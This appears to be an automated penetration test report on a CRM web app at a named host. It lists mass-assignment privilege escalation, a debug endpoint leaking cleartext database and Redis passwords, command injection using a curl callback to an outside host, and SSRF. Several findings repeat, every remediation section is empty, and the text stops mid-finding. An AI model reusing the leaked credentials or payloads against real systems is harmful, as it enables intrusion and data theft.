MindFort

Security Assessment Report

https://frontend-nexuscrm.up.railway.app/

2026-01-23 01:27:19

CONFIDENTIAL

Table of Contents

Executive Summary

This report presents the findings from a comprehensive security assessment of the application. The assessment included red team penetration testing utilizing a mix of industry-standard and proprietary attack techniques to discover and validate exploitable vulnerabilities.

A total of **410** vulnerabilities were identified:

- **30** critical severity issues
- **38** high severity issues
- **35** medium severity issues
- **62** low severity issues
- **245** informational issues

Methodology

Our testing process mirrors a classic, human-led web-application penetration test while harnessing MindFort's autonomous agents for speed, scale, and consistency. This comprehensive approach involves several key stages:

1. Planning & Reconnaissance: Defining in-scope assets, threat assumptions, and success criteria, alongside passive and active intelligence gathering (DNS, SSL, tech stack, endpoints).

2. Dynamic Application & API Testing: Conducting live crawling and fuzzing of web UI, REST/GraphQL, and websocket interfaces, including input validation, authentication, authorization, session-management checks.

3. Exploitation & Red-Team Simulation: Automating exploitation of verified weaknesses (injection, XSS, IDOR, privilege-escalation, SSRF, RCE), simulating lateral movement across micro-services and cloud resources.

4. Post-Exploitation & Impact Analysis: Evaluating data-exfiltration paths, persistence mechanisms, and quantifying risk in terms of confidentiality, integrity, availability, and business impact.

5. Prioritized Remediation & Validation: Ranking vulnerabilities by exploitability and impact, generating prescriptive fix guidance, and enabling automated retesting once fixes are deployed.

6. Continuous Assurance: Implementing 24x7 re-scanning and regression testing to detect new vulnerabilities as code or environment changes.

Assessment Scope

This penetration test was created on 2026-01-23 01:27:19 against the identified target systems and applications. The assessment employed a comprehensive methodology including reconnaissance, vulnerability identification, exploitation, and post-exploitation analysis. Testing was performed to simulate potential attack vectors from external threats and compromised insider accounts. The scope included web applications, API endpoints, and authentication mechanisms as choosen and specified by the client.

Security Vulnerabilities (410)

CRITICAL

Privilege Escalation via Mass Assignment on User Profile

Target: PUT /api/v1/users/me

DESCRIPTION

Overview

Testing identified a mass assignment issue in the user self-service profile update endpoint `PUT /api/v1/users/me`. By including the sensitive field `is_superuser: true` in the request body, a standard user was able to set their own account to superuser, and the server returned the updated user object reflecting `is_superuser: true`. Bottom line: privilege escalation to superuser was demonstrated using only normal authenticated access (with the prerequisite that the user belongs to an organization).

Breakdown

- Vulnerability type: Mass Assignment (privilege escalation via writable sensitive fields)
- Affected endpoint: `PUT /api/v1/users/me`
- Access required: Authenticated user; organization membership (noted as satisfiable via `POST /api/v1/organizations`)
- Exploitability: High — a single request with a modified JSON body

Technical Details

The endpoint accepts a JSON body intended for updating user profile fields, but appears to bind incoming JSON directly onto the user model (or equivalent) without an allowlist of permitted attributes. As a result, a client-controlled value for `is_superuser` is persisted.

The key observation is that the response to the update call included `"is_superuser": true` for the calling user, confirming the server accepted and applied a privileged attribute that should not be user-writable via a self-service profile endpoint.

IMPACT

Demonstrated Impact

- Data/access achieved: The test account's privileges were elevated to superuser, confirmed by the API response returning `is_superuser: true` for the attacker-controlled account.
- Attacker requirements: A normal authenticated user account with organization membership.
- Exploitability: Practical and low-effort — privilege escalation performed by adding a single field to a standard request.

Attack Scenarios

1. A newly registered user creates (or joins) an organization and then sets `is_superuser: true` on their own account to gain administrative capabilities.
2. An attacker with any standard user account repeats the same update to obtain elevated privileges without needing to exploit additional weaknesses.
3. In environments where superuser implies global administrative access, this can enable broad administrative actions across the application (scope depends on what superuser can do in practice).

Business Risk

- Primary concern: Unauthorized administrative access (platform integrity and security control bypass).
- Affected parties: The organization operating the platform and all tenants/users impacted by actions a superuser can perform.

EVIDENCE

Logged Evidence

The following request/response pair demonstrates the privilege escalation via mass assignment.

```
PUT /api/v1/users/me
Content-Type: application/json

{"is_superuser": true}
```

```
HTTP/1.1 200 OK
Content-Type: application/json

{"id":"0eaa6f28-4156-466d-9b35-378da2147327","email":"attacker_1768756580@test.com","name":"Atta
cker","avatar_url":null,"is_active":true,"email_verified":false,"is_superuser":true}
```

Payloads Used

- `{"is_superuser": true}` — Server returned the user object with `"is_superuser": true`, indicating the sensitive field was accepted and applied.

Observed Behavior

- The endpoint accepted a privileged field (`is_superuser`) in a self-service update call.
- The response reflected the privileged attribute as enabled for the calling user, which is strong evidence the server persisted or otherwise honored the client-supplied value.
- No additional steps or multi-request chains were required beyond authenticated access and satisfying the organization-membership prerequisite described in the testing narrative.

REMEDIATION

General remediation advice could not be generated.

CRITICAL

Infrastructure Credentials Exposed via Unauthenticated Debug Endpoint

Target: GET https://frontend-nexuscrm.up.railway.app/api/debug

DESCRIPTION

Overview

The unauthenticated endpoint `GET /api/debug` was found to return a debug configuration object containing sensitive infrastructure secrets, including full PostgreSQL and Redis connection strings with usernames and passwords. The response also indicates the application is running with `environment: "development"` and `debug: true`, consistent with a development/debug endpoint exposed in a production-accessible environment. Bottom line: an external attacker can retrieve valid backend service credentials without logging in.

Breakdown

- Vulnerability type: Unauthenticated information disclosure (exposed debug/config endpoint)
- Affected endpoint: `GET https://frontend-nexuscrm.up.railway.app/api/debug`
- Access required: None (no authentication)
- Exploitability: High (single request returns secrets)

Technical Details

The endpoint responds with HTTP `200 OK` and a JSON body containing a `config` object. Within this object, sensitive values are returned directly to the client, including `database_url` and `redis_url` connection strings embedding credentials and internal hostnames. Because the endpoint is accessible without any authentication headers/cookies and returns secrets in cleartext, any party with network access to the application can harvest credentials and configuration details.

IMPACT

Demonstrated Impact

- Data/access achieved: Retrieval of cleartext PostgreSQL and Redis connection strings (including usernames/passwords) and additional application configuration data via an unauthenticated HTTP request.
- Attacker requirements: Unauthenticated external access to the application URL; minimal skill required.
- Exploitability: Practical and repeatable (one request yields secrets).

Attack Scenarios

1. An attacker requests `/api/debug`, extracts the database connection string, and uses the credentials to access or modify application data directly at the database layer.
2. An attacker uses the exposed Redis connection details to connect to the cache/service and manipulate application state (subject to network reachability and Redis configuration).
3. An attacker uses the internal hostnames, environment/debug signals, and other configuration values to accelerate follow-on attacks and lateral movement planning.

Business Risk

- Primary concern: Data breach and unauthorized modification/destruction of application data due to leaked backend service credentials.
- Affected parties: The organization (production systems) and end users whose records reside in the database.

EVIDENCE

Logged Evidence

Request (unauthenticated):

```
GET /api/debug HTTP/1.1
Host: frontend-nexuscrm.up.railway.app
```

Response (200 OK):

```
{
  "status": "debug_enabled",
  "config": {
    "app_name": "NexusCRM",
    "version": "1.0.0",
    "environment": "development",
    "debug": true,
    "database_url": "postgresql://postgres:kUnnKOmFLaNnKmLBFSsKoXAvlWnmrLRH@postgres-
wm_p.railway.internal:5432/railway",
    "redis_url": "redis://default:kxosSSbpoWKjbcMuHTvnWfrkcsKHCyXO@redis.railway.internal:6379",
    "...": "..."
  }
}
```

Payloads Used

- `GET /api/debug` - Returned `200 OK` with JSON configuration including `database_url` and `redis_url` credentials.

Observed Behavior

- The endpoint responded successfully without any authentication material.

- Sensitive secrets were present directly in the response body (not masked/redacted), including credentials embedded in connection strings.
- The response explicitly indicated a debug/development configuration (`status: "debug_enabled"`, `environment: "development"`, `debug: true`).

REMEDIATION

General remediation advice could not be generated.

CRITICAL

Privilege Escalation via Mass Assignment

Target: PUT /api/v1/users/me

DESCRIPTION

Overview

The authenticated profile update endpoint `PUT /api/v1/users/me` was found to accept and persist sensitive authorization fields supplied by the client. Specifically, a low-privileged user was able to set `is_superuser` to `true` via a direct request, and the response confirmed the account was updated accordingly. This is a mass assignment issue: the API appears to bind request JSON fields directly onto the user model without enforcing an allowlist for writable properties. Bottom line: privilege escalation to superuser was demonstrated from a low-privileged account.

Breakdown

- Vulnerability type: Mass assignment (authorization bypass via writable sensitive fields)
- Affected endpoint: `PUT /api/v1/users/me`
- Access required: Authenticated user (low privilege)
- Exploitability: High (single request; no complex prerequisites demonstrated)

Technical Details

The endpoint accepts a JSON body intended for profile updates, but it also honors sensitive fields that should be server-controlled (e.g., privilege flags/roles). During testing, setting `is_superuser` in the request body resulted in the server persisting that value and returning `"is_superuser": true` in the response. This indicates the update handler likely performs direct object update/ORM assignment from request data without filtering out privileged attributes or enforcing authorization checks on those attributes.

IMPACT

Demonstrated Impact

- Data/access achieved: The authenticated low-privileged test account was successfully modified to `is_superuser: true`, indicating elevated privileges were granted.
- Attacker requirements: Valid credentials for any standard/low-privileged user.
- Exploitability: Practical and low-effort (a single crafted `PUT` request).

Attack Scenarios

1. A standard user modifies their own account to become a superuser and gains access to administrative functionality exposed to superusers.
2. An attacker who compromises any low-privileged account escalates that account to superuser, converting a limited compromise into a high-impact platform compromise.
3. In environments where superuser permissions are global, a single escalated account can be used to access or modify high-value resources across tenants (extent depends on how superuser is enforced in the application).

Business Risk

- Primary concern: Unauthorized administrative access (loss of integrity of access controls; potential cross-tenant impact depending on permission model).
- Affected parties: The organization operating the platform and its customers/tenants whose resources are governed by superuser-only controls.

EVIDENCE

Logged Evidence

The following request/response pair demonstrates that the endpoint accepts a sensitive privilege field (`is_superuser`) and persists it.

Request

```
PUT /api/v1/users/me
Content-Type: application/json

{"role": "superuser", "is_superuser": true}
```

Response

```
{
  "id": "0134302c-e9ac-4ad1-8424-42b86fef616c",
  "email": "reset_test@06t2l5o4g2674853n1e9l933m3kg11nbt.oast.me",
  "name": "OOB Tester",
  "avatar_url": null,
  "is_active": true,
  "email_verified": false,
  "is_superuser": true
}
```

Payloads Used

- `{"role": "superuser", "is_superuser": true}` - Server responded with `"is_superuser": true`, confirming the privilege flag was applied.

Observed Behavior

- The endpoint accepted a profile update request containing privilege-related fields.
- The response reflected `"is_superuser": true`, indicating the server persisted a field that should not be user-writable.
- This behavior is consistent with mass assignment of sensitive attributes during profile update operations.

REMEDIATION

General remediation advice could not be generated.

CRITICAL

Debug Endpoint Exposes Database Credentials and Configuration

Target: GET /api/debug

DESCRIPTION

Overview

An unauthenticated request to the public `GET /api/debug` endpoint returned a `200 OK` response containing sensitive configuration data, including a full PostgreSQL connection string with cleartext credentials. This is an information disclosure issue where secrets intended for server-side use are exposed over a public API. Bottom line: the endpoint directly leaks production database access details, enabling immediate unauthorized access to backend data stores.

Breakdown

- Vulnerability type: Sensitive information disclosure (exposed credentials/secrets)
- Affected endpoint: `GET /api/debug`
- Access required: None (public/unauthenticated)
- Exploitability: High — a single HTTP GET request returns usable credentials

Technical Details

The `/api/debug` endpoint returns a JSON object that includes environment/configuration values. Testing confirmed the response contains a `database_url` field formatted as a PostgreSQL URI, embedding a username and password in the URL. Because this endpoint is publicly reachable and does not require authentication, any external party who can reach the service can retrieve these credentials and attempt direct connections to the referenced backend services.

IMPACT

Demonstrated Impact

- Data/access achieved: Retrieval of a production PostgreSQL connection string including cleartext credentials via `GET /api/debug`.
- Attacker requirements: Network access to the application; no authentication required.
- Exploitability: Practical and immediate — no chaining required beyond calling the endpoint.

Attack Scenarios

1. An external attacker requests `/api/debug`, extracts the `database_url`, and uses it to connect to the database to read or modify application data.
2. An attacker leverages disclosed backend configuration to target internal infrastructure (e.g., database hostnames) and focus further intrusion attempts.
3. If the disclosed credentials have broad privileges, an attacker can alter or delete data, impacting integrity and availability of the service.

Business Risk

- Primary concern: Data breach and data integrity loss due to exposure of direct database credentials.
- Affected parties: Organization (production systems/data) and end users whose data resides in the database.

EVIDENCE

Logged Evidence

The following request was sent and returned sensitive credentials in the response body:

```
GET /api/debug HTTP/1.1
Host: [target host]
```

```
HTTP/1.1 200 OK
Content-Type: application/json

{
  "database_url":"postgresql://postgres:kUnnKOmFLaNnKmLBFSsKoXAvlWnmrLRH@postgres-
wm_p.railway.internal:5432/railway"
}
```

Payloads Used

- `GET /api/debug` — returned `200 OK` with JSON containing `database_url` including cleartext credentials.

Observed Behavior

- Baseline behavior: A direct unauthenticated request to `/api/debug` succeeded.

- Attack evidence: The response included a full PostgreSQL connection string with embedded password.
- Why this proves the issue: The credential material is sufficient to attempt direct database authentication and should not be retrievable via a public endpoint.

REMEDIATION

General remediation advice could not be generated.

CRITICAL

Exposed Debug Endpoint Leaks Backend Credentials and Sensitive Configuration

Target: GET /api/debug

DESCRIPTION

Overview

An unauthenticated debug endpoint was identified at `/api/debug` that returns sensitive application configuration, including cleartext infrastructure credentials. The response contained a `database_url` with a PostgreSQL username/password and a `redis_url` with credentials, indicating secrets are being exposed directly to any requester. Bottom line: the endpoint is directly exploitable by an unauthenticated attacker to obtain backend service credentials.

Breakdown

- Vulnerability type: Unauthenticated information disclosure (exposed secrets / debug configuration)
- Affected endpoint: `GET /api/debug`
- Access required: None (no authentication)
- Exploitability: High (single request returns credentials in response)

Technical Details

The `/api/debug` endpoint responds to unauthenticated requests with a JSON document containing internal configuration values. Testing confirmed the response includes connection strings that embed credentials (for example, `database_url` using the `postgresql://user:password@host:port/db` format). Because these secrets are returned in the HTTP response body, they can be harvested without any special tooling or privileges and then used to authenticate directly to backend services (as permitted by network reachability).

IMPACT

Demonstrated Impact

- Data/access achieved: Cleartext backend credentials were obtained from the `/api/debug` response, including a PostgreSQL `database_url` credential and (per response contents) a Redis URL credential.
- Attacker requirements: Unauthenticated internet/user access capable of issuing an HTTP GET request to `/api/debug`.
- Exploitability: Practical and low-effort; successful in a single request.

Attack Scenarios

1. An external attacker requests `/api/debug`, extracts the PostgreSQL URL credentials, and uses them to access or manipulate application data in the database.
2. An attacker extracts Redis credentials and uses them to read/modify cached data or interfere with application behavior that relies on Redis.
3. An attacker monitors the debug output over time (or during deployments) to harvest additional configuration values (e.g., admin contacts and other sensitive settings) for targeted follow-on attacks.

Business Risk

- Primary concern: Data breach and loss of integrity/availability of application data via exposed backend credentials.
- Affected parties: Organization (production data/systems), users (confidentiality/integrity of stored data), and administrators (exposure of operational contacts/configuration).

EVIDENCE

Logged Evidence

Request

```
GET /api/debug HTTP/1.1
Host: <redacted>
```

Response

```
HTTP/1.1 200 OK
Content-Type: application/json

{"config":{"database_url":"postgresql://postgres:kUnnKOmFLaNnKmLBFSsKoXAvlWnmrLRH@postgres-
wm_p.railway.internal:5432/railway", ...}}
```

Payloads Used

- `GET /api/debug` - `200 OK`; returned JSON configuration including a cleartext `database_url` containing a PostgreSQL username and password.

Observed Behavior

- Baseline behavior: A direct unauthenticated request to `/api/debug` succeeded.

- Attack behavior: No special payload was required; the sensitive data was returned in the normal response body.
- Proof of issue: The response explicitly contained a credential-bearing connection string (`postgresql://username:password@...`) under `config.database_url` (and the endpoint description indicated similar exposure for `redis_url` and other configuration values).

REMEDIATION

General remediation advice could not be generated.

CRITICAL

Debug Endpoint Exposes Secrets and Connection Strings

Target: GET /api/debug

DESCRIPTION

Overview

The unauthenticated endpoint `GET /api/debug` was found to return application configuration data, including secrets and connection strings. The response content included a `jwt_secret` value and a `database_url` connection string containing credentials. Bottom line: this is an actionable information disclosure that can enable token forgery (if JWT signing uses the exposed secret) and direct access to backend datastores if the exposed connection strings are reachable.

Breakdown

- Vulnerability type: Unauthenticated sensitive information disclosure (debug/configuration exposure)
- Affected endpoint: `GET /api/debug`
- Access required: None (no authentication)
- Exploitability: High — a single unauthenticated request returns secrets/credentials

Technical Details

The `/api/debug` endpoint responds with JSON containing a `config` object. Testing confirmed this object includes sensitive values such as `jwt_secret` and `database_url` (a PostgreSQL connection URI embedding username/password). Because this endpoint is accessible without authentication and returns secrets in cleartext, any external party who can reach the endpoint can retrieve the values and reuse them in other contexts (e.g., signing tokens, connecting to services) depending on network accessibility and how the application uses these configuration values.

IMPACT

Demonstrated Impact

- Data/access achieved: Retrieval of sensitive configuration data via unauthenticated request, including:
  - `jwt_secret` (JWT signing secret)
  - `database_url` (PostgreSQL connection string with embedded credentials)
  - (Also reported present: Redis connection string; not shown in the provided response excerpt)
- Attacker requirements: Unauthenticated network access to the application endpoint
- Exploitability: Practical — requires only an HTTP GET request

Attack Scenarios

1. An attacker queries `/api/debug`, extracts `jwt_secret`, and forges JWTs to impersonate other users if the application accepts HS256/secret-signed JWTs derived from this value.
2. An attacker extracts `database_url` credentials and attempts to authenticate to the database service, gaining access to application data if the database is reachable from the attacker's network path.
3. An attacker uses exposed cache connection details (if reachable) to read/modify cached objects, potentially affecting application behavior (e.g., session/cache poisoning).

Business Risk

- Primary concern: Loss of confidentiality and integrity through credential/secret exposure (account impersonation risk, datastore compromise risk).
- Affected parties: All application users and the organization (sensitive data exposure and potential unauthorized actions).

EVIDENCE

Logged Evidence

Unauthenticated request to the debug endpoint returned configuration data.

```
GET /api/debug HTTP/1.1
Host: frontend-nexuscrm.up.railway.app
```

```
HTTP/1.1 200 OK
Content-Type: application/json
...
{"config":{"jwt_secret":"jwt_secret...","database_url":"postgresql://
postgres:kUnnKOmFLaNnKmLBFSsKoXAvlWnmrLRH@postgres-wm_p.railway.internal:5432/railway"...}}
```

Payloads Used

- `GET /api/debug` — returned `200 OK` with JSON containing `config.jwt_secret` and `config.database_url`.

Observed Behavior

- Baseline behavior: The endpoint responded successfully without any authentication headers or cookies.

- Attack behavior: Not applicable (the sensitive data was disclosed directly in the normal response).
- Proof point: The response body contained high-value secrets/credentials (`jwt_secret`, and a credential-bearing `database_url`) that should not be exposed to unauthenticated users.

REMEDIATION

General remediation advice could not be generated.

CRITICAL

Information Disclosure via Unauthenticated Debug Endpoint

Target: GET https://frontend-nexuscrm.up.railway.app/api/debug

DESCRIPTION

Overview

An unauthenticated debug endpoint (`/api/debug`) was found to be publicly accessible on `frontend-nexuscrm.up.railway.app`. A direct `GET` request returned a `200 OK` JSON response containing cleartext backend configuration values, including full PostgreSQL and Redis connection strings with passwords. Bottom line: anyone who can reach this endpoint can retrieve valid service credentials and potentially use them to access backend data stores (subject to network reachability).

Breakdown

- Vulnerability type: Unauthenticated sensitive information disclosure (debug/config exposure)
- Affected endpoint: `GET https://frontend-nexuscrm.up.railway.app/api/debug`
- Access required: None (no authentication)
- Exploitability: High (single request returns credentials in cleartext)

Technical Details

The application exposes a debug endpoint intended for development/diagnostics that returns configuration data in the response body. Testing confirmed the response includes secrets (database and Redis credentials) embedded in connection URLs.

Key observations from testing:

- The endpoint responded successfully without any session cookie or authorization header.
- The response body contained:
  - `database_url` in the form `postgresql://<user>:<password>@<host>:<port>/<db>`
  - `redis_url` in the form `redis://<user>:<password>@<host>:<port>`
- The presence of `"environment": "development"` and `"debug": true` indicates debug mode/config is enabled and exposed to unauthenticated users via this route.

IMPACT

Demonstrated Impact

- Data/access achieved: Retrieval of cleartext PostgreSQL and Redis credentials via an unauthenticated HTTP request.
- Attacker requirements: Unauthenticated network access to `frontend-nexuscrm.up.railway.app`; no special skill required beyond issuing an HTTP request.
- Exploitability: Practical and repeatable (credentials disclosed directly in the response).

Attack Scenarios

1. An external attacker queries `/api/debug`, extracts the database credentials, and attempts to authenticate to the PostgreSQL service from any reachable network location.
2. An attacker retrieves Redis credentials and uses them to read/modify cached data if the Redis service is reachable, potentially affecting application behavior and data integrity.
3. If the disclosed credentials are reused elsewhere (e.g., shared across environments/services), an attacker may attempt credential reuse against other internal components using the same secrets.

Business Risk

- Primary concern: Data breach and loss of integrity (database/Redis access), plus increased likelihood of follow-on compromise through credential reuse.
- Affected parties: Organization (production data and service reliability), users (confidentiality/integrity of stored records).

EVIDENCE

Logged Evidence

Baseline (Unauthenticated) Request

```
GET /api/debug HTTP/1.1
Host: frontend-nexuscrm.up.railway.app
```

Response

```
HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "debug_enabled",
  "config": {
    "database_url": "postgresql://postgres:kUnnKOmFLaNnKmLBFSsKoXAvlWnmrLRH@postgres-
wm_p.railway.internal:5432/railway",
    "redis_url": "redis://default:kxosSSbpoWKjbcMuHTvnWfrkcsKHCyXO@redis.railway.internal:6379",
    "admin_email": "admin@nexuscrm.io",
    "environment": "development",
    "debug": true
  }
}
```

Payloads Used

- `GET /api/debug` - `200 OK`; response body disclosed `database_url` and `redis_url` including passwords.

Observed Behavior

- Baseline behavior: Unauthenticated request returned configuration details.

- Attack behavior: No special payload manipulation was required; the endpoint returned secrets by default.
- Proof of issue: Presence of full connection strings with embedded credentials in the JSON response body.

REMEDIATION

General remediation advice could not be generated.

CRITICAL

RCE via Command Injection in Export Template

Target: GET /api/v1/export/contacts

DESCRIPTION

Overview

Command injection was confirmed in the `template` query parameter of the `GET /api/v1/export/contacts` endpoint. The server constructs and executes a `wkhtmltopdf` shell command using unsanitized user input, allowing shell metacharacters (e.g., `;`) to break out of the intended argument context and execute additional commands. Testing showed injected commands were incorporated into the server-side command line and executed, with results observable via the response's `command` and `stderr` fields.

Breakdown

- Vulnerability type: OS command injection (shell metacharacter injection)
- Affected endpoint: `GET /api/v1/export/contacts`
- Access required: Authenticated (Bearer JWT)
- Exploitability: High — single request with a crafted `template` value reliably alters the executed command and runs attacker-supplied commands

Technical Details

The endpoint builds a command line invocation of `wkhtmltopdf` that includes `--template <user_input>` and executes it in a shell context. Because `template` is not sanitized or safely passed as a discrete argument, injected shell metacharacters such as `;` terminate the intended `wkhtmltopdf` argument list and start a new command (e.g., `curl ...` or `id`).

Key observations that confirm execution:

- The application echoes the constructed command in the response (`"command": "wkhtmltopdf --template ; curl http://... contacts.pdf"`), demonstrating that user input is inserted directly into the command line.

- `stderr` includes output from the injected utilities (`curl` / `id`) indicating they executed and attempted to interpret the subsequent token (`contacts.pdf`) as their own argument (e.g., `curl: ... Could not resolve host: contacts.pdf`, `id: 'contacts.pdf': no such user`).

IMPACT

Demonstrated Impact

- Data/access achieved: Arbitrary command execution was demonstrated by successfully triggering execution of `curl` and `id` via the `template` parameter, with resulting tool output observable in the HTTP response `stderr`.
- Attacker requirements: Valid authentication token for the API endpoint.
- Exploitability: Practical — exploitation requires only a crafted GET request and does not rely on timing or complex conditions.

Attack Scenarios

1. An authenticated user injects a command to run system reconnaissance (e.g., `id`, `uname -a`) and uses the output to guide follow-on exploitation.
2. An authenticated user injects a command that attempts outbound network access (as demonstrated with `curl`), which can be used to verify execution and potentially transmit data depending on egress controls.
3. An authenticated user injects commands to read application files or environment data accessible to the running process, enabling targeted data access within the server's permission scope.

Business Risk

- Primary concern: Server-side compromise within the privileges of the process executing `wkhtmltopdf`, with a realistic path to sensitive data exposure and service integrity impact.
- Affected parties: The organization (service integrity and confidentiality), and potentially users whose data is processed/exported by the system.

EVIDENCE

Logged Evidence

Request (command injection via `curl`)

```
GET /api/v1/export/contacts?format=pdf&template=;%20curl%20http://
16r549etv95w4929r9h84e82lnmu93k3i.oast.live/ci_repro HTTP/1.1
Authorization: Bearer [Token]
```

Response (Status 200)

```
{
  "format": "pdf",
  "command": "wkhtmltopdf --template ; curl http://16r549etv95w4929r9h84e82lnmu93k3i.oast.live/
```

```
ci_repro contacts.pdf",
  "stderr": "... curl: (6) Could not resolve host: contacts.pdf ..."
}
```

Browser-based injection confirmation (`; id`)

- Payload entered: `; id`
- Observed result: `stderr` contained `id: 'contacts.pdf': no such user`

Payloads Used

- `; curl http://16r549etv95w4929r9h84e82lnmu93k3i.oast.live/ci_repro` — Response included constructed command showing injected `curl`; `stderr` showed `curl` executed and attempted to resolve `contacts.pdf` as a host.
- `; id` — `stderr` showed `id` executed and attempted to interpret `contacts.pdf` as a username (`no such user`).

Observed Behavior

- The response includes a `command` field reflecting the exact command line constructed server-side, and the injected payload appears unescaped within it.
- The `stderr` field includes output consistent with the injected commands running and then mis-parsing the subsequent `contacts.pdf` token as their own argument.
- These two signals together (reflected constructed command + tool-specific stderr output) provide direct evidence that OS commands supplied via `template` are executed.

REMEDIATION

General remediation advice could not be generated.

CRITICAL

SSRF via Webhook Test Endpoint Returns Full Internal Response Content

Target: POST /api/v1/webhooks/{id}/test

DESCRIPTION

Overview

The `POST /api/v1/webhooks/{id}/test` endpoint was found to perform a server-side HTTP request to the stored webhook `url` and return the full downstream response body to the caller. This behavior enables full-response Server-Side Request Forgery (SSRF): an authenticated user can make the application fetch internal-only endpoints and directly view the returned content. Testing confirmed exploitation by targeting an internal debug endpoint and retrieving runtime configuration, including plaintext database and Redis connection credentials.

Breakdown

- Vulnerability type: Full-response Server-Side Request Forgery (SSRF) via webhook test functionality
- Affected endpoint: `POST /api/v1/webhooks/{id}/test`
- Access required: Authenticated (Bearer token)
- Exploitability: High in practice (single request to the test endpoint returns attacker-visible response content)

Technical Details

Webhook creation persists a user-controlled `url`. When the webhook “test” endpoint is called, the server synchronously issues an HTTP request to that stored `url` and includes the downstream response body in its own API response (`response_body`). Because the response is returned verbatim to the authenticated caller, this is not a “blind” SSRF; it provides direct content exfiltration from any reachable HTTP service (including internal services not exposed publicly). Exploitation was confirmed by pointing the webhook to an internal debug endpoint and observing that the test response returned the debug JSON containing `database_url` and `redis_url` credentials.

IMPACT

Demonstrated Impact

- Data/access achieved: Retrieval of internal runtime configuration via SSRF, including plaintext `database_url` (PostgreSQL) and `redis_url` credentials returned in the API response.
- Attacker requirements: Any authenticated user who can create a webhook and invoke the webhook test endpoint.
- Exploitability: Practical and repeatable; the endpoint returns full response content, enabling rapid discovery and exfiltration of internal HTTP-accessible resources.

Attack Scenarios

1. An authenticated attacker targets internal debug/admin endpoints and reads sensitive configuration (credentials, environment flags) directly from the `response_body` returned by the test endpoint.
2. An authenticated attacker enumerates internal services (by requesting different internal hostnames/paths) and retrieves service banners/metadata and any unauthenticated internal APIs reachable from the application network.
3. Using the exposed database and Redis connection strings, an attacker connects to those services (where network-accessible) to access application data stores and/or modify stored data.

Business Risk

- Primary concern: Credential exposure leading to data access and potential broader environment compromise.
- Affected parties: Organization (infrastructure and data stores), customers/users (if database contents are accessed).

EVIDENCE

Logged Evidence

The following request/response pair shows the webhook test endpoint returning the full body from the target URL (embedded as `response_body`).

```
POST /api/v1/webhooks/85b967f4-dc76-4dc2-bb35-5123f6afe37b/test HTTP/1.1
Authorization: Bearer <fresh_token>
```

```
HTTP/1.1 200 OK
Content-Type: application/json

{"success":true,"status_code":200,"response_body":"{\"status\":\"debug_enabled\",\"config\":
{\"app_name\":\"NexusCRM\",\"version\":\"1.0.0\",\"environment\":\"development\",\"debug\":true,
\"database_url\":\"postgresql://postgres:kUnnKOmFLaNnKmLBFSsKoXAvlWnmrLRH@postgres-
wm_p.railway.internal:5432/ra..."}
```

Payloads Used

- `http://backend-nexuscrm.up.railway.app/api/debug` — The webhook test call returned a `200` and included the downstream JSON in `response_body`, including `database_url` and `redis_url`.

Observed Behavior

- The test endpoint's response contained fields indicating it executed a server-side request (`status_code`) and returned the full downstream content (`response_body`).
- The returned `response_body` included sensitive configuration values (`database_url`, `redis_url`), demonstrating that internal endpoints reachable by the server can be queried and their contents exfiltrated through this API.

REMEDIATION

General remediation advice could not be generated.

CRITICAL

Privilege Escalation via Mass Assignment on User Profile

Target: PUT /api/v1/users/me

DESCRIPTION

Overview

The `PUT /api/v1/users/me` profile update endpoint was found to accept and persist a sensitive privilege field (`is_superuser`) when supplied by a standard user. After meeting an application precondition (being a member of an organization), the server accepted `{"is_superuser": true}` and the account's `is_superuser` flag changed from `false` to `true`. Bottom line: an authenticated user can escalate to superuser by mass-assigning a privileged attribute.

Breakdown

- Vulnerability type: Mass Assignment / Privilege Escalation via writable sensitive attribute (`is_superuser`)
- Affected endpoint: `PUT /api/v1/users/me`
- Access required: Authenticated user; must be an organization member (achieved by creating an organization via `POST /api/v1/organizations`)
- Exploitability: High (single request after satisfying org membership requirement)

Technical Details

The profile update handler appears to bind/merge client-supplied JSON directly into the user model (or equivalent update structure) without restricting sensitive fields. As a result, the server treats `is_superuser` as a user-editable attribute instead of a server-controlled authorization property.

Testing showed:

- The baseline user profile returned `"is_superuser": false`.
- A direct attempt to set `is_superuser` was blocked with `403` only due to an organization-membership gate.
- Because any authenticated user could create an organization (`POST /api/v1/organizations` returned `201 Created`), the attacker could satisfy the gate and then successfully set `is_superuser` via `PUT /api/v1/users/me`.
- A subsequent `GET /api/v1/users/me` confirmed `"is_superuser": true`, demonstrating persistent privilege escalation.

IMPACT

Demonstrated Impact

- Data/access achieved: The attacking standard user account was escalated to `is_superuser: true` as confirmed by `GET /api/v1/users/me`.
- Attacker requirements: Valid authentication as any standard user. The only additional requirement observed was organization membership, which was satisfied by creating an organization.
- Exploitability: Practical and repeatable; requires only standard API access and a small number of requests.

Attack Scenarios

1. A newly registered/authenticated user creates an organization and then sets `is_superuser: true` on their own profile to obtain superuser access.
2. An attacker scripts account creation and privilege escalation to rapidly create multiple superuser accounts for persistence.
3. A compromised low-privilege account is upgraded to superuser, expanding impact from that single user session to administrative capabilities.

Business Risk

- Primary concern: Unauthorized administrative access (loss of integrity and confidentiality across the application's data and management functions).
- Affected parties: The organization operating the application (platform-wide), and potentially all users whose data/actions fall under superuser control.

EVIDENCE

Logged Evidence

Baseline: Standard user is not a superuser

```
GET /api/v1/users/me
```

```
{
  "is_superuser": false,
  "...": "..."
}
```

Prerequisite: Create organization (to satisfy org-membership requirement)

```
POST /api/v1/organizations
Content-Type: application/json

{"name": "Attack Org"}
```

```
HTTP/1.1 201 Created
```

Attack: Mass-assign `is_superuser` via profile update

```
PUT /api/v1/users/me
Content-Type: application/json

{"is_superuser": true}
```

```
HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": "...",
  "email": "test_attacker_02@example.com",
  "is_superuser": true
}
```

Verification: Server persists superuser state

```
GET /api/v1/users/me
```

```
{
  "is_superuser": true
}
```

Payloads Used

- `{"is_superuser": true}` - Returned `200 OK` and reflected `"is_superuser": true` in the response after org creation.
- `{"name": "Attack Org"}` - Returned `201 Created` and satisfied the organization membership prerequisite.

Observed Behavior

- Baseline `GET /api/v1/users/me` showed `is_superuser: false`.
- After organization creation, `PUT /api/v1/users/me` accepted a privileged field (`is_superuser`) and updated the account.
- Follow-up `GET /api/v1/users/me` confirmed persistence of `is_superuser: true`, demonstrating an authorization boundary failure (privilege field became client-controlled).

REMEDIATION

General remediation advice could not be generated.

CRITICAL

Privilege Escalation via Mass Assignment in User Profile Update API

Target: PUT /api/v1/users/me

DESCRIPTION

Overview

